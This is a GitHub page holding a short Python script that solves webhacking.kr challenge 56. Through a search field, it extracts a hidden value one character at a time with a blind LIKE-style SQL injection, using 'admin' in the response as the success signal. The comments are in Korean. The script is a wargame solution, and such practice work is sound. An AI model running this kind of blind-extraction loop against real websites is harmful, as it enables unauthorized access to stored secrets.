-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy path56-sql-injection.py
51 lines (43 loc) · 1.43 KB
/
56-sql-injection.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import requests
import string
url = 'https://webhacking.kr/challenge/web-33/'
TRUE_FLAG = 'admin'
secret = 'a'
data = {}
exit = 0
print(string.printable)
# string.printable = '0123456789
# abcdefghijklmnopqrstuvwxyz
# ABCDEFGHIJKLMNOPQRSTUVWXYZ
# !"#$%&'()*+,-./:;<=>?@[\]^_`{|}~'
# '%' 는 삭제하고, '_'는 맨 마지막에 추가
printable_string = string.printable
printable_string = printable_string.replace('%','')
printable_string = printable_string.replace('_','')
printable_string = printable_string + '_'
# a부터 뒷글자들을 먼저 맞춘다.
while exit==0:
for character in printable_string:
data['search'] = secret + character
response = requests.post(url,data=data)
if(TRUE_FLAG in response.text):
secret = data['search']
print('\r[+]',secret,end='')
break
if(character == printable_string[-1]):
exit=1
print("break while loop")
# 앞부분을 채워 넣기
exit = 0
while exit==0:
for character in printable_string:
data['search'] = character + secret
response = requests.post(url,data=data)
if(TRUE_FLAG in response.text):
secret = data['search']
print('\r[+]',secret,end='')
break
if(character == printable_string[-1]):
exit=1
print("break while loop")
print(secret)